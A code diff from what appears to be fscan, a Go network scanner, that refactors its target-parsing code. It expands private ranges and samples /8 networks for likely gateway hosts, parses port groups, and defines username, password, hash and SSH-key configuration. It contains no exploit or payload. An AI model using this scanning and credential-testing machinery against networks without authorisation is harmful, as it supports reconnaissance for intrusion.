case "http", "https", "socks5": case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5:
// 支持的协议 // 支持的协议
default: default:
return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme) return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme)
@ -335,7 +336,7 @@ func (np *NetworkParser) validateProxyURL(proxyURL string) error {
} }
// 安全检查 // 安全检查
if !np.options.AllowInsecure && parsedURL.Scheme == "http" { if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP {
return fmt.Errorf("不允许使用不安全的HTTP代理") return fmt.Errorf("不允许使用不安全的HTTP代理")
} }
@ -345,10 +346,7 @@ func (np *NetworkParser) validateProxyURL(proxyURL string) error {
// isValidUserAgent 检查用户代理是否有效 // isValidUserAgent 检查用户代理是否有效
func (np *NetworkParser) isValidUserAgent(userAgent string) bool { func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
// 检查是否包含常见的浏览器标识 // 检查是否包含常见的浏览器标识
commonBrowsers := []string{ commonBrowsers := GetCommonBrowsers()
"Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
"AppleWebKit", "Gecko", "Trident", "Presto",
}
userAgentLower := strings.ToLower(userAgent) userAgentLower := strings.ToLower(userAgent)
for _, browser := range commonBrowsers { for _, browser := range commonBrowsers {
@ -363,22 +361,9 @@ func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
// isValidCookie 检查Cookie格式是否有效 // isValidCookie 检查Cookie格式是否有效
func (np *NetworkParser) isValidCookie(cookie string) bool { func (np *NetworkParser) isValidCookie(cookie string) bool {
// 基本Cookie格式检查 (name=value; name2=value2) // 基本Cookie格式检查 (name=value; name2=value2)
cookieRegex := regexp.MustCompile(`^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`) return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie))
return cookieRegex.MatchString(strings.TrimSpace(cookie))
} }
// Validate 验证解析结果 // =============================================================================================
func (np *NetworkParser) Validate() error { // 已删除的死代码未使用Validate 和 GetStatistics 方法
return nil // =============================================================================================
}
// GetStatistics 获取解析统计
func (np *NetworkParser) GetStatistics() interface{} {
np.mu.RLock()
defer np.mu.RUnlock()
return map[string]interface{}{
"parser_type": "network",
"options": np.options,
}
}

375
Common/parsers/Simple.go Normal file
View File

@ -0,0 +1,375 @@
package parsers
import (
"bufio"
"fmt"
"net"
"os"
"sort"
"strconv"
"strings"
)
/*
Simple.go - 简化版本的解析器函数
这个文件提供了简化但功能完整的解析函数用于替代复杂的解析器架构
保持与现有代码的接口兼容性但大幅简化实现逻辑
*/
// =============================================================================
// 简化的IP/主机解析函数
// =============================================================================
// SimpleParseIP 简化版本的IP解析函数
// 保持与 ParseIP 的接口兼容性,但使用更简单的实现
func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, error) {
var hosts []string
// 如果提供了文件名,从文件读取主机列表
if filename != "" {
fileHosts, fileErr := readHostsFromFile(filename)
if fileErr != nil {
return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
}
hosts = append(hosts, fileHosts...)
}
// 解析主机参数
if host != "" {
hostList, hostErr := parseHostString(host)
if hostErr != nil {
return nil, fmt.Errorf("解析主机失败: %v", hostErr)
}
hosts = append(hosts, hostList...)
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeList, excludeErr := parseHostString(nohosts[0])
if excludeErr != nil {
return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
}
hosts = excludeHosts(hosts, excludeList)
}
// 去重和排序
hosts = removeDuplicates(hosts)
sort.Strings(hosts)
if len(hosts) == 0 {
return nil, fmt.Errorf("没有找到有效的主机")
}
return hosts, nil
}
// =============================================================================
// 简化的端口解析函数
// =============================================================================
// SimpleParsePort 简化版本的端口解析函数
// 保持与 ParsePort 的接口兼容性
func SimpleParsePort(ports string) []int {
if ports == "" {
return nil
}
var result []int
// 处理预定义端口组
ports = expandPortGroups(ports)
// 按逗号分割
for _, portStr := range strings.Split(ports, ",") {
portStr = strings.TrimSpace(portStr)
if portStr == "" {
continue
}
// 处理端口范围 (如 1-100)
if strings.Contains(portStr, "-") {
rangePorts := parsePortRange(portStr)
result = append(result, rangePorts...)
} else {
// 单个端口
if port, err := strconv.Atoi(portStr); err == nil {
if port >= MinPort && port <= MaxPort {
result = append(result, port)
}
}
}
}
// 去重和排序
result = removeDuplicatePorts(result)
sort.Ints(result)
return result
}
// SimpleParsePortsFromString 简化版本的端口字符串解析
// 保持与 ParsePortsFromString 的接口兼容性
func SimpleParsePortsFromString(portsStr string) []int {
return SimpleParsePort(portsStr)
}
// =============================================================================
// 辅助函数
// =============================================================================
// readHostsFromFile 从文件读取主机列表
func readHostsFromFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var hosts []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, CommentPrefix) {
hosts = append(hosts, line)
}
}
return hosts, scanner.Err()
}
// parseHostString 解析主机字符串
func parseHostString(host string) ([]string, error) {
var hosts []string
// 按逗号分割多个主机
for _, h := range strings.Split(host, ",") {
h = strings.TrimSpace(h)
if h == "" {
continue
}
// 检查是否为CIDR格式
if strings.Contains(h, "/") {
cidrHosts, err := parseCIDR(h)
if err != nil {
return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
}
hosts = append(hosts, cidrHosts...)
} else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
// IP范围格式 (如 192.168.1.1-10)
rangeHosts, err := parseIPRange(h)
if err != nil {
return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
}
hosts = append(hosts, rangeHosts...)
} else {
// 单个主机
hosts = append(hosts, h)
}
}
return hosts, nil
}
// parseCIDR 解析CIDR格式的网段
func parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var hosts []string
for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
hosts = append(hosts, ip.String())
// 限制最大主机数量,防止内存溢出
if len(hosts) > SimpleMaxHosts {
break
}
}
// 移除网络地址和广播地址
if len(hosts) > 2 {
hosts = hosts[1 : len(hosts)-1]
}
return hosts, nil
}
// parseIPRange 解析IP范围
func parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
}
startIP := strings.TrimSpace(parts[0])
endPart := strings.TrimSpace(parts[1])
// 检查是否为短格式 (如 192.168.1.1-10)
if !strings.Contains(endPart, ".") {
return parseShortIPRange(startIP, endPart)
}
// 完整IP范围
return parseFullIPRange(startIP, endPart)
}
// parseShortIPRange 解析短格式IP范围
func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
}
endNum, err := strconv.Atoi(endSuffix)
if err != nil {
return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
}
var hosts []string
startIPParts := strings.Split(startIPStr, ".")
if len(startIPParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
}
baseIP := strings.Join(startIPParts[:3], ".")
startNum, _ := strconv.Atoi(startIPParts[3])
for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ {
hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
}
return hosts, nil
}
// parseFullIPRange 解析完整IP范围
func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
endIP := net.ParseIP(endIPStr)
if startIP == nil || endIP == nil {
return nil, fmt.Errorf("无效的IP地址")
}
var hosts []string
for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
copy(ip, startIP)
hosts = append(hosts, ip.String())
if ip.Equal(endIP) {
break
}
// 限制最大主机数量
if len(hosts) > SimpleMaxHosts {
break
}
nextIP(startIP)
}
return hosts, nil
}
// parsePortRange 解析端口范围
func parsePortRange(rangeStr string) []int {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil
}
start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
return nil
}
var ports []int
for i := start; i <= end; i++ {
ports = append(ports, i)
// 限制端口范围大小
if len(ports) > SimpleMaxPortRange {
break
}
}
return ports
}
// expandPortGroups 展开端口组
func expandPortGroups(ports string) string {
// 使用预定义的端口组
portGroups := GetPortGroups()
result := ports
for group, portList := range portGroups {
result = strings.ReplaceAll(result, group, portList)
}
return result
}
// excludeHosts 排除指定的主机
func excludeHosts(hosts, excludeList []string) []string {
if len(excludeList) == 0 {
return hosts
}
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, found := excludeMap[host]; !found {
result = append(result, host)
}
}
return result
}
// removeDuplicates 去除字符串重复项
func removeDuplicates(slice []string) []string {
keys := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去除端口重复项
func removeDuplicatePorts(slice []int) []int {
keys := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// nextIP 计算下一个IP地址
func nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}

View File

@ -14,7 +14,7 @@ import (
// TargetParser 目标解析器 // TargetParser 目标解析器
type TargetParser struct { type TargetParser struct {
fileReader *FileReader fileReader *FileReader
mu sync.RWMutex mu sync.RWMutex //nolint:unused // reserved for future thread safety
ipRegex *regexp.Regexp ipRegex *regexp.Regexp
portRegex *regexp.Regexp portRegex *regexp.Regexp
urlRegex *regexp.Regexp urlRegex *regexp.Regexp
@ -36,14 +36,14 @@ type TargetParserOptions struct {
// DefaultTargetParserOptions 默认目标解析器选项 // DefaultTargetParserOptions 默认目标解析器选项
func DefaultTargetParserOptions() *TargetParserOptions { func DefaultTargetParserOptions() *TargetParserOptions {
return &TargetParserOptions{ return &TargetParserOptions{
MaxTargets: 10000, MaxTargets: DefaultTargetMaxTargets,
MaxPortRange: 1000, MaxPortRange: DefaultMaxPortRange,
AllowPrivateIPs: true, AllowPrivateIPs: DefaultAllowPrivateIPs,
AllowLoopback: true, AllowLoopback: DefaultAllowLoopback,
ValidateURLs: true, ValidateURLs: DefaultValidateURLs,
ResolveDomains: false, ResolveDomains: DefaultResolveDomains,
EnableStatistics: true, EnableStatistics: DefaultTargetEnableStatistics,
DefaultPorts: "80,443,22,21,23,25,53,110,993,995,1433,3306,5432,6379,27017", DefaultPorts: DefaultPorts,
} }
} }
@ -53,10 +53,10 @@ func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *Targ
options = DefaultTargetParserOptions() options = DefaultTargetParserOptions()
} }
// 编译正则表达式 // 使用预编译正则表达式
ipRegex := regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`) ipRegex := CompiledIPv4Regex
portRegex := regexp.MustCompile(`^(\d+)(-(\d+))?$`) portRegex := CompiledPortRegex
urlRegex := regexp.MustCompile(`^https?://[^\s/$.?#].[^\s]*$`) urlRegex := CompiledURLRegex
return &TargetParser{ return &TargetParser{
fileReader: fileReader, fileReader: fileReader,
@ -94,7 +94,7 @@ type TargetInput struct {
// Parse 解析目标配置 // Parse 解析目标配置
func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) { func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) {
if input == nil { if input == nil {
return nil, NewParseError("INPUT_ERROR", "目标输入为空", "", 0, ErrEmptyInput) return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput)
} }
startTime := time.Now() startTime := time.Now()
@ -166,7 +166,7 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
if input.Host != "" { if input.Host != "" {
hostList, err := tp.parseHostList(input.Host) hostList, err := tp.parseHostList(input.Host)
if err != nil { if err != nil {
errors = append(errors, NewParseError("HOST_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
} else { } else {
hosts = append(hosts, hostList...) hosts = append(hosts, hostList...)
} }
@ -176,7 +176,7 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
if input.HostsFile != "" { if input.HostsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.HostsFile) fileResult, err := tp.fileReader.ReadFile(input.HostsFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取主机文件失败", input.HostsFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
hostList, err := tp.parseHostList(line) hostList, err := tp.parseHostList(line)
@ -245,7 +245,7 @@ func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []stri
if input.URLsFile != "" { if input.URLsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.URLsFile) fileResult, err := tp.fileReader.ReadFile(input.URLsFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取URL文件失败", input.URLsFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
if valid, err := tp.validateURL(line); valid { if valid, err := tp.validateURL(line); valid {
@ -273,7 +273,7 @@ func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string
if input.Ports != "" { if input.Ports != "" {
portList, err := tp.parsePortList(input.Ports) portList, err := tp.parsePortList(input.Ports)
if err != nil { if err != nil {
errors = append(errors, NewParseError("PORT_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err))
} else { } else {
ports = append(ports, portList...) ports = append(ports, portList...)
} }
@ -283,7 +283,7 @@ func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string
if input.PortsFile != "" { if input.PortsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.PortsFile) fileResult, err := tp.fileReader.ReadFile(input.PortsFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取端口文件失败", input.PortsFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
portList, err := tp.parsePortList(line) portList, err := tp.parsePortList(line)
@ -321,7 +321,7 @@ func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, [
if input.ExcludePorts != "" { if input.ExcludePorts != "" {
portList, err := tp.parsePortList(input.ExcludePorts) portList, err := tp.parsePortList(input.ExcludePorts)
if err != nil { if err != nil {
errors = append(errors, NewParseError("EXCLUDE_PORT_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err))
} else { } else {
excludePorts = portList excludePorts = portList
} }
@ -364,22 +364,48 @@ func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
continue continue
} }
// 检查是否为IP范围或CIDR // 检查各种IP格式
if strings.Contains(item, "/") { switch {
case item == PrivateNetwork192:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR)
if err != nil {
return nil, fmt.Errorf("192网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork172:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR)
if err != nil {
return nil, fmt.Errorf("172网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork10:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR)
if err != nil {
return nil, fmt.Errorf("10网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case strings.HasSuffix(item, "/8"):
// 处理/8网段使用采样方式
sampledHosts := tp.parseSubnet8(item)
hosts = append(hosts, sampledHosts...)
case strings.Contains(item, "/"):
// CIDR表示法 // CIDR表示法
cidrHosts, err := tp.parseCIDR(item) cidrHosts, err := tp.parseCIDR(item)
if err != nil { if err != nil {
return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err) return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err)
} }
hosts = append(hosts, cidrHosts...) hosts = append(hosts, cidrHosts...)
} else if strings.Contains(item, "-") { case strings.Contains(item, "-"):
// IP范围表示法 // IP范围表示法
rangeHosts, err := tp.parseIPRange(item) rangeHosts, err := tp.parseIPRange(item)
if err != nil { if err != nil {
return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err) return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err)
} }
hosts = append(hosts, rangeHosts...) hosts = append(hosts, rangeHosts...)
} else { default:
// 单个IP或域名 // 单个IP或域名
hosts = append(hosts, item) hosts = append(hosts, item)
} }
@ -388,12 +414,15 @@ func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
return hosts, nil return hosts, nil
} }
// parsePortList 解析端口列表 // parsePortList 解析端口列表,支持预定义端口组
func (tp *TargetParser) parsePortList(portStr string) ([]int, error) { func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
if portStr == "" { if portStr == "" {
return nil, nil return nil, nil
} }
// 检查是否为预定义端口组
portStr = tp.expandPortGroups(portStr)
var ports []int var ports []int
portItems := strings.Split(portStr, ",") portItems := strings.Split(portStr, ",")
@ -423,7 +452,7 @@ func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
return nil, fmt.Errorf("无效端口号: %s", item) return nil, fmt.Errorf("无效端口号: %s", item)
} }
if port < 1 || port > 65535 { if port < MinPort || port > MaxPort {
return nil, fmt.Errorf("端口号超出范围: %d", port) return nil, fmt.Errorf("端口号超出范围: %d", port)
} }
@ -434,6 +463,17 @@ func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
return ports, nil return ports, nil
} }
// expandPortGroups 展开预定义端口组
func (tp *TargetParser) expandPortGroups(portStr string) string {
// 使用预定义的端口组
portGroups := GetTargetPortGroups()
if expandedPorts, exists := portGroups[portStr]; exists {
return expandedPorts
}
return portStr
}
// parseCIDR 解析CIDR网段 // parseCIDR 解析CIDR网段
func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) { func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr) _, ipNet, err := net.ParseCIDR(cidr)
@ -442,46 +482,173 @@ func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
} }
var ips []string var ips []string
ip := ipNet.IP.Mask(ipNet.Mask) ip := make(net.IP, len(ipNet.IP))
copy(ip, ipNet.IP)
for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); tp.nextIP(ip) { count := 0
for ipNet.Contains(ip) {
ips = append(ips, ip.String()) ips = append(ips, ip.String())
count++
// 防止生成过多IP // 防止生成过多IP
if len(ips) > tp.options.MaxTargets { if count >= tp.options.MaxTargets {
break break
} }
tp.nextIP(ip)
} }
return ips, nil return ips, nil
} }
// parseIPRange 解析IP范围 // parseIPRange 解析IP范围,支持简写格式
func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) { func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-") parts := strings.Split(rangeStr, "-")
if len(parts) != 2 { if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式") return nil, fmt.Errorf("无效的IP范围格式")
} }
startIP := net.ParseIP(strings.TrimSpace(parts[0])) startIPStr := strings.TrimSpace(parts[0])
endIP := net.ParseIP(strings.TrimSpace(parts[1])) endIPStr := strings.TrimSpace(parts[1])
if startIP == nil || endIP == nil { // 验证起始IP
return nil, fmt.Errorf("无效的IP地址") startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
} }
var ips []string // 处理简写格式 (如: 192.168.1.1-100)
for ip := startIP; !ip.Equal(endIP); tp.nextIP(ip) { if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
ips = append(ips, ip.String()) return tp.parseShortIPRange(startIPStr, endIPStr)
}
// 防止生成过多IP
if len(ips) > tp.options.MaxTargets { // 处理完整格式 (如: 192.168.1.1-192.168.1.100)
break endIP := net.ParseIP(endIPStr)
if endIP == nil {
return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
}
return tp.parseFullIPRange(startIP, endIP)
}
// parseShortIPRange 解析简写格式的IP范围
func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > MaxIPv4OctetValue {
return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
}
// 分解起始IP
ipParts := strings.Split(startIPStr, ".")
if len(ipParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
}
// 生成IP范围
var allIP []string
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
return allIP, nil
}
// parseFullIPRange 解析完整格式的IP范围
func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) {
// 转换为IPv4
start4 := startIP.To4()
end4 := endIP.To4()
if start4 == nil || end4 == nil {
return nil, fmt.Errorf("仅支持IPv4地址范围")
}
// 计算IP地址的整数表示
startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3])
endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3])
// 检查范围的有效性
if startInt > endInt {
return nil, fmt.Errorf("起始IP大于结束IP")
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > tp.options.MaxTargets {
return nil, fmt.Errorf("IP范围过大超过最大限制: %d", tp.options.MaxTargets)
}
// 生成IP范围
var allIP []string
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>IPFirstOctetShift)&IPOctetMask,
(ipInt>>IPSecondOctetShift)&IPOctetMask,
(ipInt>>IPThirdOctetShift)&IPOctetMask,
ipInt&IPOctetMask)
allIP = append(allIP, ip)
}
return allIP, nil
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
func (tp *TargetParser) parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
// 对常用网段进行更全面的扫描
commonSecondOctets := GetCommonSecondOctets()
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
} }
} }
ips = append(ips, endIP.String()) // 添加结束IP
return ips, nil // 对其他二级网段进行稀疏采样
for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost)))
}
}
// 限制采样数量
if len(sampleIPs) > tp.options.MaxTargets {
sampleIPs = sampleIPs[:tp.options.MaxTargets]
}
return sampleIPs
}
// randomInt 生成指定范围内的随机整数
func (tp *TargetParser) randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return min + (max-min)/2 // 简化版本避免依赖rand
} }
// parsePortRange 解析端口范围 // parsePortRange 解析端口范围
@ -502,7 +669,7 @@ func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) {
startPort, endPort = endPort, startPort startPort, endPort = endPort, startPort
} }
if startPort < 1 || endPort > 65535 { if startPort < MinPort || endPort > MaxPort {
return nil, fmt.Errorf("端口号超出范围") return nil, fmt.Errorf("端口号超出范围")
} }
@ -606,7 +773,7 @@ func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) {
return false, fmt.Errorf("端口号无效: %s", portStr) return false, fmt.Errorf("端口号无效: %s", portStr)
} }
if port < 1 || port > 65535 { if port < MinPort || port > MaxPort {
return false, fmt.Errorf("端口号超出范围: %d", port) return false, fmt.Errorf("端口号超出范围: %d", port)
} }
@ -621,11 +788,11 @@ func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
return true return true
} }
// 172.16.0.0/12 // 172.16.0.0/12
if ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31 { if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet {
return true return true
} }
// 192.168.0.0/16 // 192.168.0.0/16
if ip4[0] == 192 && ip4[1] == 168 { if ip4[0] == 192 && ip4[1] == Private192SecondOctet {
return true return true
} }
} }
@ -634,8 +801,7 @@ func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
// isValidDomain 检查是否为有效域名 // isValidDomain 检查是否为有效域名
func (tp *TargetParser) isValidDomain(domain string) bool { func (tp *TargetParser) isValidDomain(domain string) bool {
domainRegex := regexp.MustCompile(`^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`) return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength
return domainRegex.MatchString(domain) && len(domain) <= 253
} }
// excludeHosts 排除指定主机 // excludeHosts 排除指定主机
@ -695,18 +861,6 @@ func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludeP
} }
} }
// Validate 验证解析结果 // =============================================================================================
func (tp *TargetParser) Validate() error { // 已删除的死代码未使用Validate 和 GetStatistics 方法
return nil // =============================================================================================
}
// GetStatistics 获取解析统计
func (tp *TargetParser) GetStatistics() interface{} {
tp.mu.RLock()
defer tp.mu.RUnlock()
return map[string]interface{}{
"parser_type": "target",
"options": tp.options,
}
}

View File

@ -4,6 +4,8 @@ import (
"errors" "errors"
"fmt" "fmt"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// ParsedConfig 解析后的完整配置 // ParsedConfig 解析后的完整配置
@ -16,13 +18,13 @@ type ParsedConfig struct {
// TargetConfig 目标配置 // TargetConfig 目标配置
type TargetConfig struct { type TargetConfig struct {
Hosts []string `json:"hosts"` Hosts []string `json:"hosts"`
URLs []string `json:"urls"` URLs []string `json:"urls"`
Ports []int `json:"ports"` Ports []int `json:"ports"`
ExcludePorts []int `json:"exclude_ports"` ExcludePorts []int `json:"exclude_ports"`
HostPorts []string `json:"host_ports"` HostPorts []string `json:"host_ports"`
LocalMode bool `json:"local_mode"` LocalMode bool `json:"local_mode"`
Statistics *TargetStatistics `json:"statistics,omitempty"` Statistics *TargetStatistics `json:"statistics,omitempty"`
} }
// TargetStatistics 目标解析统计 // TargetStatistics 目标解析统计
@ -36,36 +38,36 @@ type TargetStatistics struct {
// CredentialConfig 认证配置 // CredentialConfig 认证配置
type CredentialConfig struct { type CredentialConfig struct {
Usernames []string `json:"usernames"` Usernames []string `json:"usernames"`
Passwords []string `json:"passwords"` Passwords []string `json:"passwords"`
HashValues []string `json:"hash_values"` HashValues []string `json:"hash_values"`
HashBytes [][]byte `json:"hash_bytes,omitempty"` HashBytes [][]byte `json:"hash_bytes,omitempty"`
SshKeyPath string `json:"ssh_key_path"` SshKeyPath string `json:"ssh_key_path"`
Domain string `json:"domain"` Domain string `json:"domain"`
Statistics *CredentialStats `json:"statistics,omitempty"` Statistics *CredentialStats `json:"statistics,omitempty"`
} }
// CredentialStats 认证配置统计 // CredentialStats 认证配置统计
type CredentialStats struct { type CredentialStats struct {
TotalUsernames int `json:"total_usernames"` TotalUsernames int `json:"total_usernames"`
TotalPasswords int `json:"total_passwords"` TotalPasswords int `json:"total_passwords"`
TotalHashes int `json:"total_hashes"` TotalHashes int `json:"total_hashes"`
